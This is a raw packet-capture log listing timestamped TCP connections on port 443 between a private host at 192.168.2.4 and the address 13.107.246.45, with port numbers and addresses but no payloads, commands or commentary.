Nov 16, 2024 04:34:39.174000978 CET	443	50083	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:39.174071074 CET	50083	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:39.174159050 CET	50083	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:39.174197912 CET	443	50083	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:39.174223900 CET	50083	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:39.174238920 CET	443	50083	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:39.176354885 CET	50088	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:39.176404953 CET	443	50088	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:39.176471949 CET	50088	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:39.176568031 CET	50088	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:39.176578045 CET	443	50088	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:39.498941898 CET	443	50084	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:39.508526087 CET	50084	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:39.508559942 CET	443	50084	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:39.509114981 CET	50084	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:39.509130001 CET	443	50084	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:39.635097027 CET	443	50084	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:39.635263920 CET	443	50084	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:39.635329962 CET	50084	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:39.635536909 CET	50084	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:39.635536909 CET	50084	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:39.635591030 CET	443	50084	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:39.635602951 CET	443	50084	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:39.638540030 CET	50089	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:39.638631105 CET	443	50089	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:39.638724089 CET	50089	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:39.638881922 CET	50089	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:39.638920069 CET	443	50089	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:39.712831974 CET	443	50086	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:39.713244915 CET	50086	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:39.713264942 CET	443	50086	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:39.713840961 CET	50086	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:39.713846922 CET	443	50086	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:39.742399931 CET	443	50087	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:39.742805004 CET	50087	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:39.742880106 CET	443	50087	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:39.743155003 CET	50087	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:39.743170023 CET	443	50087	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:39.841059923 CET	443	50085	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:39.841599941 CET	50085	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:39.841680050 CET	443	50085	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:39.842097998 CET	50085	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:39.842112064 CET	443	50085	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:39.842504978 CET	443	50086	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:39.842598915 CET	443	50086	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:39.842668056 CET	50086	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:39.842752934 CET	50086	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:39.842783928 CET	443	50086	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:39.842809916 CET	50086	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:39.842823982 CET	443	50086	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:39.845619917 CET	50090	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:39.845654964 CET	443	50090	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:39.845736980 CET	50090	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:39.845877886 CET	50090	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:39.845889091 CET	443	50090	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:39.883714914 CET	443	50087	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:39.883882046 CET	443	50087	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:39.883968115 CET	50087	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:39.883968115 CET	50087	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:39.884038925 CET	50087	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:39.884076118 CET	443	50087	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:39.886331081 CET	50091	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:39.886415958 CET	443	50091	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:39.886512995 CET	50091	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:39.886631966 CET	50091	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:39.886652946 CET	443	50091	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:39.921467066 CET	443	50088	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:39.921916008 CET	50088	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:39.921945095 CET	443	50088	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:39.922424078 CET	50088	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:39.922430038 CET	443	50088	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:39.973484993 CET	443	50085	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:39.973556995 CET	443	50085	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:39.973628998 CET	50085	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:39.973710060 CET	443	50085	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:39.973747015 CET	443	50085	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:39.973761082 CET	50085	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:39.973804951 CET	443	50085	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:39.973834038 CET	50085	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:39.973834038 CET	50085	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:39.973854065 CET	443	50085	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:39.973874092 CET	443	50085	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:39.976324081 CET	50092	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:39.976418018 CET	443	50092	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:39.976504087 CET	50092	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:39.976674080 CET	50092	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:39.976700068 CET	443	50092	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:40.051605940 CET	443	50088	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:40.051656961 CET	443	50088	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:40.051717043 CET	50088	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:40.051728010 CET	443	50088	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:40.051784039 CET	443	50088	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:40.051826954 CET	50088	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:40.051912069 CET	50088	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:40.051925898 CET	443	50088	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:40.051934004 CET	50088	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:40.051939011 CET	443	50088	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:40.054301023 CET	50093	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:40.054344893 CET	443	50093	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:40.054420948 CET	50093	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:40.054543018 CET	50093	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:40.054565907 CET	443	50093	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:40.386878967 CET	443	50089	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:40.387584925 CET	50089	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:40.387646914 CET	443	50089	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:40.388142109 CET	50089	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:40.388195992 CET	443	50089	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:40.535959959 CET	443	50089	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:40.536367893 CET	443	50089	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:40.536549091 CET	50089	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:40.536550045 CET	50089	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:40.536550045 CET	50089	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:40.539515972 CET	50094	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:40.539602995 CET	443	50094	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:40.539674044 CET	50094	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:40.539866924 CET	50094	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:40.539902925 CET	443	50094	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:40.590624094 CET	443	50090	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:40.591134071 CET	50090	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:40.591159105 CET	443	50090	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:40.591687918 CET	50090	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:40.591694117 CET	443	50090	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:40.630373001 CET	443	50091	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:40.635689020 CET	50091	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:40.635750055 CET	443	50091	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:40.636234045 CET	50091	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:40.636287928 CET	443	50091	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:40.719348907 CET	443	50092	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:40.719872952 CET	50092	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:40.719922066 CET	443	50092	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:40.720417023 CET	50092	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:40.720428944 CET	443	50092	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:40.725085020 CET	443	50090	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:40.725135088 CET	443	50090	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:40.725189924 CET	50090	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:40.725223064 CET	443	50090	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:40.725261927 CET	443	50090	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:40.725322962 CET	50090	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:40.725537062 CET	50090	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:40.725574017 CET	443	50090	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:40.725600004 CET	50090	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:40.725614071 CET	443	50090	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:40.728564024 CET	50095	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:40.728596926 CET	443	50095	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:40.728693962 CET	50095	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:40.728831053 CET	50095	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:40.728840113 CET	443	50095	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:40.763801098 CET	443	50091	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:40.763854027 CET	443	50091	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:40.763926983 CET	50091	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:40.763987064 CET	443	50091	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:40.764020920 CET	443	50091	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:40.764091969 CET	50091	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:40.764162064 CET	50091	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:40.764162064 CET	50091	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:40.764198065 CET	443	50091	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:40.764223099 CET	443	50091	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:40.766175985 CET	50096	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:40.766221046 CET	443	50096	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:40.766299963 CET	50096	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:40.766470909 CET	50096	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:40.766499043 CET	443	50096	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:40.777420044 CET	443	50093	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:40.777782917 CET	50093	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:40.777795076 CET	443	50093	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:40.778307915 CET	50093	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:40.778311968 CET	443	50093	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:40.842276096 CET	50089	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:40.842339993 CET	443	50089	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:40.849714041 CET	443	50092	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:40.849762917 CET	443	50092	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:40.849828959 CET	50092	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:40.849893093 CET	443	50092	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:40.849993944 CET	50092	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:40.849994898 CET	50092	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:40.850017071 CET	443	50092	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:40.850095987 CET	443	50092	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:40.852230072 CET	50097	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:40.852252007 CET	443	50097	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:40.852318048 CET	50097	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:40.852444887 CET	50097	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:40.852457047 CET	443	50097	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:40.907133102 CET	443	50093	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:40.907185078 CET	443	50093	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:40.907361031 CET	50093	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:40.907362938 CET	443	50093	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:40.907418966 CET	50093	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:40.907645941 CET	50093	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:40.907645941 CET	50093	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:40.907666922 CET	443	50093	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:40.907686949 CET	443	50093	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:40.909760952 CET	50098	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:40.909847021 CET	443	50098	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:40.909943104 CET	50098	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:40.910238028 CET	50098	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:40.910298109 CET	443	50098	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:41.289246082 CET	443	50094	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:41.289781094 CET	50094	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:41.289875031 CET	443	50094	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:41.290359020 CET	50094	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:41.290371895 CET	443	50094	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:41.420311928 CET	443	50094	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:41.420404911 CET	443	50094	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:41.420545101 CET	50094	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:41.420594931 CET	50094	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:41.420619965 CET	443	50094	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:41.420639992 CET	50094	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:41.420646906 CET	443	50094	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:41.423584938 CET	50099	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:41.423614979 CET	443	50099	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:41.423693895 CET	50099	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:41.423846960 CET	50099	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:41.423858881 CET	443	50099	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:41.498033047 CET	443	50096	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:41.498653889 CET	50096	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:41.498713970 CET	443	50096	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:41.498943090 CET	50096	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:41.498959064 CET	443	50096	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:41.499692917 CET	443	50095	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:41.500020981 CET	50095	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:41.500044107 CET	443	50095	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:41.500564098 CET	50095	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:41.500567913 CET	443	50095	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:41.600526094 CET	443	50097	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:41.600929022 CET	50097	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:41.600944996 CET	443	50097	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:41.601332903 CET	50097	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:41.601339102 CET	443	50097	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:41.625731945 CET	443	50096	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:41.625900984 CET	443	50096	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:41.626089096 CET	50096	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:41.628004074 CET	50096	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:41.628004074 CET	50096	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:41.628072023 CET	443	50096	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:41.628108025 CET	443	50096	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:41.630603075 CET	50100	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:41.630634069 CET	443	50100	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:41.630709887 CET	50100	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:41.630855083 CET	50100	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:41.630861998 CET	443	50100	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:41.632221937 CET	443	50095	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:41.632376909 CET	443	50095	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:41.632435083 CET	50095	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:41.632466078 CET	50095	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:41.632476091 CET	443	50095	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:41.632484913 CET	50095	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:41.632488966 CET	443	50095	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:41.634650946 CET	50101	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:41.634742022 CET	443	50101	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:41.634829044 CET	50101	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:41.634985924 CET	50101	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:41.635024071 CET	443	50101	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:41.654205084 CET	443	50098	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:41.655908108 CET	50098	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:41.655966043 CET	443	50098	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:41.656187057 CET	50098	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:41.656207085 CET	443	50098	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:41.729101896 CET	443	50097	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:41.729500055 CET	443	50097	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:41.729567051 CET	50097	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:41.729599953 CET	50097	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:41.729620934 CET	443	50097	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:41.729634047 CET	50097	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:41.729640961 CET	443	50097	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:41.732618093 CET	50102	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:41.732654095 CET	443	50102	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:41.732717991 CET	50102	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:41.732897043 CET	50102	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:41.732908964 CET	443	50102	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:41.951034069 CET	443	50098	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:41.951098919 CET	443	50098	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:41.951169014 CET	50098	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:41.951229095 CET	443	50098	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:41.951267004 CET	443	50098	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:41.951286077 CET	50098	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:41.951342106 CET	50098	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:41.951383114 CET	50098	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:41.951383114 CET	50098	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:41.951415062 CET	443	50098	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:41.951438904 CET	443	50098	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:41.954396009 CET	50103	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:41.954442978 CET	443	50103	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:41.954514980 CET	50103	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:41.954658031 CET	50103	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:41.954670906 CET	443	50103	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:42.161729097 CET	443	50099	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:42.162256956 CET	50099	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:42.162281036 CET	443	50099	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:42.162873983 CET	50099	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:42.162879944 CET	443	50099	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:42.293730974 CET	443	50099	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:42.293797970 CET	443	50099	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:42.293900967 CET	50099	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:42.293912888 CET	443	50099	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:42.294069052 CET	50099	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:42.294080019 CET	443	50099	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:42.294090986 CET	50099	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:42.294099092 CET	443	50099	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:42.294106960 CET	443	50099	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:42.296998978 CET	50104	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:42.297089100 CET	443	50104	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:42.297178984 CET	50104	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:42.297297955 CET	50104	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:42.297318935 CET	443	50104	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:42.362523079 CET	443	50100	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:42.367934942 CET	50100	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:42.367959976 CET	443	50100	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:42.368336916 CET	50100	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:42.368341923 CET	443	50100	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:42.390296936 CET	443	50101	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:42.390830994 CET	50101	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:42.390883923 CET	443	50101	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:42.391418934 CET	50101	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:42.391433001 CET	443	50101	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:42.474334002 CET	443	50102	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:42.474740028 CET	50102	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:42.474766016 CET	443	50102	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:42.475290060 CET	50102	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:42.475296021 CET	443	50102	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:42.525296926 CET	443	50101	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:42.525352001 CET	443	50101	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:42.525495052 CET	443	50101	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:42.525554895 CET	50101	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:42.525554895 CET	50101	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:42.525604963 CET	50101	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:42.525629044 CET	443	50101	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:42.525644064 CET	50101	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:42.525651932 CET	443	50101	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:42.528201103 CET	50105	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:42.528250933 CET	443	50105	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:42.528327942 CET	50105	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:42.528454065 CET	50105	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:42.528475046 CET	443	50105	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:42.603997946 CET	443	50100	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:42.604053020 CET	443	50100	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:42.604104996 CET	443	50100	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:42.604120970 CET	50100	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:42.604135036 CET	443	50100	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:42.604161978 CET	50100	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:42.604188919 CET	50100	443	192.168.2.4	13.107.246.45
